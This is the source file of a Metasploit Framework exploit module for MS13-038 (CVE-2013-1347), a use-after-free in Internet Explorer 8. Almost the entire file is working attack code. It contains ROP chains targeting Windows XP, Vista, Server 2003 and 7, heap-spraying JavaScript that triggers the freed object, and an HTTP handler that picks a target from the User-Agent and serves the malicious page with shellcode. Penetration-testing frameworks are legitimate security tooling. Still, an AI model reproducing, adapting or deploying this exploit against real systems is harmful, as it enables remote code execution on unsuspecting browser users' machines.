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metasploit-framework
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metasploit-framework/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CGenericElement object is freed, but a
reference is kept on the Document and used again during rendering, an invalid
memory that's controllable is used, and allows arbitrary code execution under the
context of the user.
Please note: This vulnerability has been exploited in the wild on 2013 May, in
the compromise of the Department of Labor (DoL) Website.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown',
'EMH',
'juan vazquez', #RCA
'sinn3r' #RCA
],
'References' =>
[
[ 'CVE', '2013-1347' ],
[ 'OSVDB', '92993' ],
[ 'MSB', 'MS13-038' ],
[ 'US-CERT-VU', '237655' ],
[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "May 3 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def get_payload(t, cli)
rop_payload = ''
case t['Rop']
when :msvcrt
algin = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
chain = ''
if t.name == 'IE 8 on Windows XP SP3'
chain =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
elsif t.name == 'IE 8 on Windows Server 2003'
junk = rand_text_alpha(4).unpack("V")[0].to_i
nop = make_nops(4).unpack("V")[0].to_i
chain =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
rop_payload = chain + algin + payload.encoded
else
code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
code << payload.encoded
code << rand_text_alpha(12000)
rop_payload = generate_rop_payload('java', code)
end
return rop_payload
end
def load_exploit_html(my_target, cli)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
html = %Q|
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
#{js_mstime_malloc}
function helloWorld()
{
sparkle = unescape("ABCD");
for (i=0; i < 2; i++) {
sparkle += unescape("ABCD");
}
sparkle += unescape("AB");
sparkle += unescape("#{js_payload}");
magenta = unescape("#{align_esp}");
for (i=0; i < 0x70/4; i++) {
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
else { magenta += unescape("#{align_esp}"); }
}
magenta += sparkle;
document.body.contentEditable="true";
f0 = document.createElement('span');
f1 = document.createElement('span');
f2 = document.createElement('span');
document.body.appendChild(f0);
document.body.appendChild(f1);
document.body.appendChild(f2);
for (i=0; i < 20; i++) { document.createElement("img"); }
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
CollectGarbage();
f1.appendChild(document.createElement('table'));
try { f0.offsetParent=null;}
catch(e) { }
f2.innerHTML = "";
f1.innerHTML = "";
f0.appendChild(document.createElement('hr'));
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
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